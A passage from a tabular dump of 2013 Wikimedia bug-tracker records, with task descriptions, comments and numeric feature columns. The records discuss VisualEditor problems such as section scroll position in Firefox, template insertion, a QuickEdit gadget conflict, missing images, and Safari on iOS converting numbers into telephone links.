Same thing a above. It just works.",,,1377190457,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,7,,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,9.0,11.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.933333333333333,0.8,"Firefox 23.0 for Ubuntu:

Everything works fine when clicking the ""Edit (beta)"" link at URL - fullscreen window as well as small window.


Chromium 28.0.1500.71 for Ubuntu 

Same thing a above. It just works."
232230,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","**lovefilms** wrote:

I am using Firefox 22 as well (on Windows 7). 

The IE9 doesn't seem to have the VisualEditor, the edit link will simply goes to https://en.wikipedia.org/w/index.php?title=Blue_Jasmine&action=edit&section=3",,,1374771991,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,18.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,8.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.2,0.85,"**lovefilms** wrote:

I am using Firefox 22 as well (on Windows 7). 

The IE9 doesn't seem to have the VisualEditor, the edit link will simply goes to URL"
232225,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","(e/c) I can reproduce on Firefox 22/Linux and Windows, and on Chrome/Windows to a lesser degree when using https://en.wikipedia.org/wiki/Blue_Jasmine?veaction=edit#Production or when loading https://en.wikipedia.org/wiki/Blue_Jasmine?veaction=edit and click the 'edit' link beside 'Production' (the bug doesnt occur if middle-clicked, as that open the url with 'vesection=3' added).

Most times I do this, it is possible to see the viewport position itself correctly at the anchor, but then then toolbar appears covering the section heading and a half of the first line of text.",,,1374744764,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.5,1.0,4.0,0.0,0.0,0.0,1.5,0.0,4.5,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,1.0,4.5,1.0,2.0,1.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,9.5,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,7.0,1.0,6.5,1.5,4.0,9.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,3.5,8.0,4.0,0.0,4.0,0.0,3.5,0.0,1.0,1.5,1.0,3.0,0.5,1.0,0.0,3.6132075471698113,0.7830188679245284,"(e/c) I can reproduce on Firefox 22/Linux and Windows, and on Chrome/Windows to a lesser degree when using URL or when loading URL and click the 'edit' link beside 'Production' (the bug doesnt occur if middle-clicked, as that open the url with 'vesection=3' added).

Most times I do this, it is possible to see the viewport position itself correctly at the anchor, but then then toolbar appears covering the section heading and a half of the first line of text."
232218,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","I think is is related to screen resolution \ the size of the browser window. If you have a low resolution (Or resize the browser window to be small enough) Firefox 22 and Chrome 28 will place the ""ve-ui-toolbar-actions"" element on a second line in the edit toolbar.

If you edit a section in the small-size browser it will scroll to the section as it normally would, but doesn't take the twice-as-high-as-usual edit toolbar into account when determining where to stop. As a result the section header is actually positioned under the second toolbar line. If you resize the browser afterwards to a size that allows for a single-line edit toolbar the section header will be correctly positioned.",,,1374744542,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.5,0.5,6.5,0.5,0.0,0.0,1.5,3.5,0.5,0.0,0.0,0.0,0.5,0.5,5.0,11.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,5.0,1.0,1.0,0.0,1.5,0.0,0.0,1.5,1.5,0.0,0.0,0.5,4.5,0.0,0.5,0.0,0.5,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.5,0.5,10.5,3.0,4.5,3.0,1.5,10.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,3.5,11.5,1.5,0.0,1.0,0.0,3.5,0.0,2.0,3.5,0.0,0.5,0.0,0.0,0.0,3.891891891891892,0.6554054054054055,"I think is is related to screen resolution \ the size of the browser window. If you have a low resolution (Or resize the browser window to be small enough) Firefox 22 and Chrome 28 will place the ""ve-ui-toolbar-actions"" element on a second line in the edit toolbar.

If you edit a section in the small-size browser it will scroll to the section as it normally would, but doesn't take the twice-as-high-as-usual edit toolbar into account when determining where to stop. As a result the section header is actually positioned under the second toolbar line. If you resize the browser afterwards to a size that allows for a single-line edit toolbar the section header will be correctly positioned."
232210,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","Which Firefox version is this about? 
Can you reproduce the problem with other browsers?",,,1374740581,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.411764705882353,0.9411764705882353,"Which Firefox version is this about? 
Can you reproduce the problem with other browsers?"
53989,"VisualEditor: ""add template"" should have the same functionality as return in the template dialog","If you type, say, 'cite w' into the template selector, it drops down a list of possible templates. Hitting return inserts the one that was selected from that dropdown. Great!

Hitting 'add template', however, does not; it returns 'cite w', a non-existent template. It would be good if 'add template''s behaviour could mimic that of the return key.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374697260,1385395164.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-s2gl74yfgu2t3qm3jv3q,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,1.0,1.0,8.0,1.0,0.0,0.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,0.0,3.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,7.0,2.0,0.0,7.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,4.0,7.0,1.0,0.0,8.0,0.0,4.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,3.63,0.6,"If you type, say, 'cite w' into the template selector, it drops down a list of possible templates. Hitting return inserts the one that was selected from that dropdown. Great!

Hitting 'add template', however, does not; it returns 'cite w', a non-existent template. It would be good if 'add template''s behaviour could mimic that of the return key.

--------------------------
**Version**: unspecified
**Severity**: normal"
255208,"VisualEditor: ""add template"" should have the same functionality as return in the template dialog",This was done some time ago as part of the tweaks to the input box.,,,1385395164,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s2gl74yfgu2t3qm3jv3q,task_subcomment,,True,c1,3,True,,,21,,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.9375,This was done some time ago as part of the tweaks to the input box.
53976,"Impossible to edit a specific section when switching from VisualEditor to ""legacy mode"" (due to reference to QuickEdit gadget in vector.js?)","**Author:** `l736ewiki`

**Description:**
I'm an user on it.wiki, where VisualEditor is now enabled by default on the whole ns0.

I was trying to modify a long article, on a specific section, and needed to introduce wikicode (namely {{...}} for a paragraph replaced by an empty section).


VisualEditor forced me to switch to legacy mode, but whenever I try to edit the specific section, through the local ""Edit"" command at section level, the legacy editor always opens in the basic editor the whole article and not just the selected section.

This is heavily annoying when dealing with very long articles, with plenty of sections.

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Mac OS X 10.8
**Platform**: Macintosh",Needs Triage,90.0,1374686580,1376324056.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fyok2cjpctqiorpfldvp,task_description,invalid,True,c1,3,False,False,True,3,,0.0,0.0,0.5,0.5,0.5,7.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,5.5,9.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,5.0,0.5,0.0,0.0,0.0,0.0,12.5,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,1.5,10.0,1.5,1.5,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,2.0,9.0,4.0,0.0,1.0,0.0,2.0,0.0,1.5,2.5,0.5,1.0,0.0,0.0,0.0,3.6941325848703555,0.6298449612403101,"**Author:** CODE

**Description:**
I'm an user on it.wiki, where VisualEditor is now enabled by default on the whole ns0.

I was trying to modify a long article, on a specific section, and needed to introduce wikicode (namely {{...}} for a paragraph replaced by an empty section).


VisualEditor forced me to switch to legacy mode, but whenever I try to edit the specific section, through the local ""Edit"" command at section level, the legacy editor always opens in the basic editor the whole article and not just the selected section.

This is heavily annoying when dealing with very long articles, with plenty of sections.

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Mac OS X 10.8
**Platform**: Macintosh"
254477,"Impossible to edit a specific section when switching from VisualEditor to ""legacy mode"" (due to reference to QuickEdit gadget in vector.js?)","**l736ewiki** wrote:

I'm using vector. The issue appeared both on Safari/OS X (Mountain Lion, 10.8) and on Firefox/Windows XP Pro.


However, I was apparently able to overcome the issue. I read in the FAQ that it's recommended to disable the QuickEdit extension to avoid undesired effects with VE, so I checked in my preference pane that this extension was actually disabled (and it was).


However, in my vector.js fiel, inside the ""toLoad"" variable, there was a reference to QuickEdit gadget (qed). Looks like the presence of that string inside vector.js actually caused the extension to be loaded anyway. Removing that string from the vector.js and refreshing the browser's cache overcame the issue. Now I'm able to open VE directly over single individual sections.

So the results are:
* it's not enough to verify in the preference pane that the QuickEdit extension is disabled
* any reference to QuickEdit shall be removed also from the local vector.js (or monobook.js, I assume then)",,,1376065760,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fyok2cjpctqiorpfldvp,task_subcomment,,True,c1,3,False,,,5,,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,4.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,3.0,0.3333333333333333,5.333333333333333,9.666666666666666,0.0,2.3333333333333335,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,3.6666666666666665,0.6666666666666666,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,1.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.666666666666666,1.0,1.6666666666666667,7.666666666666667,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,4.0,9.666666666666666,4.666666666666667,0.0,0.6666666666666666,0.0,4.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.6666666666666666,4.038647342995169,0.7487922705314011,"**l736ewiki** wrote:

I'm using vector. The issue appeared both on Safari/OS X (Mountain Lion, 10.8) and on Firefox/Windows XP Pro.


However, I was apparently able to overcome the issue. I read in the FAQ that it's recommended to disable the QuickEdit extension to avoid undesired effects with VE, so I checked in my preference pane that this extension was actually disabled (and it was).


However, in my vector.js fiel, inside the ""toLoad"" variable, there was a reference to QuickEdit gadget (qed). Looks like the presence of that string inside vector.js actually caused the extension to be loaded anyway. Removing that string from the vector.js and refreshing the browser's cache overcame the issue. Now I'm able to open VE directly over single individual sections.

So the results are:
* it's not enough to verify in the preference pane that the QuickEdit extension is disabled
* any reference to QuickEdit shall be removed also from the local vector.js (or monobook.js, I assume then)"
254470,"Impossible to edit a specific section when switching from VisualEditor to ""legacy mode"" (due to reference to QuickEdit gadget in vector.js?)","I can't reproduce this on it.wiki, using vector skin and Firefox/Linux.

Does this happen on every article for you?  Which skin are you using?",,,1374704563,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fyok2cjpctqiorpfldvp,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,9.0,9.0,6.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6363636363636362,0.8181818181818182,"I can't reproduce this on it.wiki, using vector skin and Firefox/Linux.

Does this happen on every article for you?  Which skin are you using?"
53968,VisualEditor: can't remove missing image,"http://it.wikipedia.org/w/index.php?title=Pieve_di_San_Giovanni_Battista_%28Pieve_Fosciana%29&oldid=60196986

If you tried to edit with VE, the missing image link would just disappear.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374684900,1377623981.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7435897435897436,0.6923076923076923,"URL

If you tried to edit with VE, the missing image link would just disappear.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
254194,VisualEditor: can't remove missing image,"

*** This bug has been marked as a duplicate of bug 50788 ***",,,1377623981,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50788 ***"
254188,VisualEditor: can't remove missing image,"Confirming. To make the description more clear: even if in view mode you can see the name in red of the missing image and the caption, with VisualEditor you won't see a thing, and therefore it's impossible to edit or delete the image object.

There is a test page at

http://test2.wikipedia.org/wiki/MissingImageVEtest

I found about this while trying to remove the captions in an article of two images that had been deleted at Commons: 

http://ca.wikipedia.org/w/index.php?title=Remedios_Varo&oldid=11208969

The only way to do this is editing source the old way.",,,1376309716,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,1.0,1.0,1.0,1.0,4.0,15.0,0.0,4.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,15.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,11.0,3.0,9.0,2.0,3.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,4.0,15.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,4.0,1.0,0.0,0.0,3.7,0.71,"Confirming. To make the description more clear: even if in view mode you can see the name in red of the missing image and the caption, with VisualEditor you won't see a thing, and therefore it's impossible to edit or delete the image object.

There is a test page at

URL

I found about this while trying to remove the captions in an article of two images that had been deleted at Commons: 

URL

The only way to do this is editing source the old way."
254183,VisualEditor: can't remove missing image,I actually moved the above comment to https://bugzilla.wikimedia.org/show_bug.cgi?id=52575 . Thanks.,,,1375790933,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.9090909090909091,I actually moved the above comment to URL . Thanks.
254178,VisualEditor: can't remove missing image,http://en.wikipedia.org/w/index.php?title=Walton_%28company%29&diff=567155604&oldid=565055473 This might be related (not sure how they managed to remove the bracket!),,,1375704777,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,1.0,URL This might be related (not sure how they managed to remove the bracket!)
254171,VisualEditor: can't remove missing image,"It disappears in VE for me too.

1. modify the page (add a ' ' anywhere) 
2. 'Save page' and 'review your changes'

The diff 'inserts'

[[File:Pieve San Giovanni.jpg|thumb|200px|San Giovanni Battista]]",,,1374705106,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,4.0,12.0,0.0,15.0,0.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,10.0,3.3461538461538463,0.7307692307692307,"It disappears in VE for me too.

1. modify the page (add a ' ' anywhere) 
2. 'Save page' and 'review your changes'

The diff 'inserts'

[[File:Pieve San Giovanni.jpg|thumb|200px|San Giovanni Battista]]"
53959,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,"An anonymous editor at en.wp reports:
""I was attempting to correct a minor error at [[Class 455]].  Although I was only attempting to change one word, the editor changed, 

:...in common with the Classes 313 / 314 / 315 / 507 / 508 units.""

into 

:<nowiki>...in common with the Classes <a href=tel:313 / 314 / 315"">313 / 314 / 315</a> / 507 / 508 units.</nowiki>

and then complains of a formatting error and refuses to allow the change to be saved.  The editor seems to be interpreting the list of class numbers as a telephone number.""

I have been unable to reproduce this using Firefox 22 on Linux, including editing the article in question.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53315",Needs Triage,90.0,1374669600,1374680186.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-hekxaxmddcora46opa6e,task_description,invalid,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.5,0.0,3.5,0.5,0.0,0.5,0.0,2.0,0.0,0.0,0.5,0.0,1.5,2.0,1.5,10.0,0.0,3.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,12.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,2.5,8.5,0.5,1.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,6.5,0.0,1.5,10.0,3.0,0.0,1.5,0.0,1.5,0.0,0.0,2.5,0.0,3.5,0.0,0.0,4.0,3.5330694586312563,0.6329800817160367,"An anonymous editor at en.wp reports:
""I was attempting to correct a minor error at [[Class 455]].  Although I was only attempting to change one word, the editor changed, 

:...in common with the Classes 313 / 314 / 315 / 507 / 508 units.""

into 

:<nowiki>...in common with the Classes <a href=tel:313 / 314 / 315"">313 / 314 / 315</a> / 507 / 508 units.</nowiki>

and then complains of a formatting error and refuses to allow the change to be saved.  The editor seems to be interpreting the list of class numbers as a telephone number.""

I have been unable to reproduce this using Firefox 22 on Linux, including editing the article in question.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
253777,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,This might be default behavior in the Safari iOS contenteditable. In that case we probably need to file a bugreport upstream.,,,1374690787,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-hekxaxmddcora46opa6e,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,0.9565217391304348,This might be default behavior in the Safari iOS contenteditable. In that case we probably need to file a bugreport upstream.
253771,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,"Just for reference, the original reporter subsequently noted that they use Ipad IOS6 with Safari",,,1374683186,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hekxaxmddcora46opa6e,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.125,1.0,"Just for reference, the original reporter subsequently noted that they use Ipad IOS6 with Safari"
253763,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,"This is almost certainly due to a browser plugin that thinks it's being ""helpful"". Certainly, nothing in VisualEditor or Parsoid understand href=tel: links, so it's not going to come from us. I also can't reproduce locally in Firefox, Safari or Chrome.

